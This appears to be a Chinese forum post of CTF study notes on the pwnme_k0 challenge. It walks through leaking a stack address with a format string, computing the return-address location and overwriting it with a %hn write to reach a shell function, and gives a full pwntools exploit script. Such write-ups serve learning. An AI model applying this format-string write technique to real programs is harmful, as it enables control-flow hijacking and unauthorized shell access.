-
-
[原创]PWN学习笔记【格式化字符串漏洞练习】【hijack retaddr】【 三个白帽 - pwnme_k0 】
-
2022-6-10 16:50 10025
-
https://ctf-wiki.org/pwn/linux/user-mode/fmtstr/fmtstr-example/#hijack-retaddr
程序存在格式化字符串漏洞
username和password都可控,但是每个都只能输入20个字节
调试程序,username输入username,password输入password,在第二个printf上打断点
看到栈一切都是刚刚好,栈顶是栈指针,然后是返回地址,然后是可控的username
打造payload:
先拿到栈顶的栈指针,然后推算返回地址的地址,也就是0x7fffffffdd78,
计算一下偏移(0x7fffffffddb0-0x7fffffffdd78= 0x38),第一步的栈指针减去偏移,即可得到返回地址的指针
覆盖返回地址,拿shell
这个程序提供了拿shell的函数,只需要把返回地址改成0x4008a6就可以了:
都是0x40开头的,修改末尾的两个字节就ok了
把需要覆盖的地址放到username里,格式化字符串放在password里,就不用计算多余的偏移量了,
64位程序前6个变量放到寄存器,第7个开始压栈,所以username偏移=8
exp:
from pwn import * #context.log_level = 'debug' sh = process("./pwnme_k0")#gdb.debug("./pwnme_k0", "b *0x400B39")# def sendPayload(username, password): sh.recvuntil(b"(max lenth:20):") sh.sendline(username) sh.recvuntil(b"(max lenth:20):") sh.sendline(password) def checkfun(id): sh.recvuntil(b"3.QUit sangebaimao:(\n>") sh.sendline(str(id).encode()) debug(b"get ret addr") sendPayload(b"1", b"%6$p") checkfun(1) sh.recvuntil(b"1\n") rbp_addr = sh.recvline() debug("rbp_addr addr=" + str(rbp_addr)) rbp_addr = int(rbp_addr, 16) ret_addr = rbp_addr - 0x38 debug("ret addr=%x" %ret_addr) payload_username = p64(ret_addr) payload_password = flat([ b'%', str(0x08A6).encode(), b'c%8$hn' ]) checkfun(2) sendPayload(payload_username, payload_password) checkfun(1) print(sh.recv()) sh.interactive()
拿shell:
[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法
赞赏
他的文章
看原图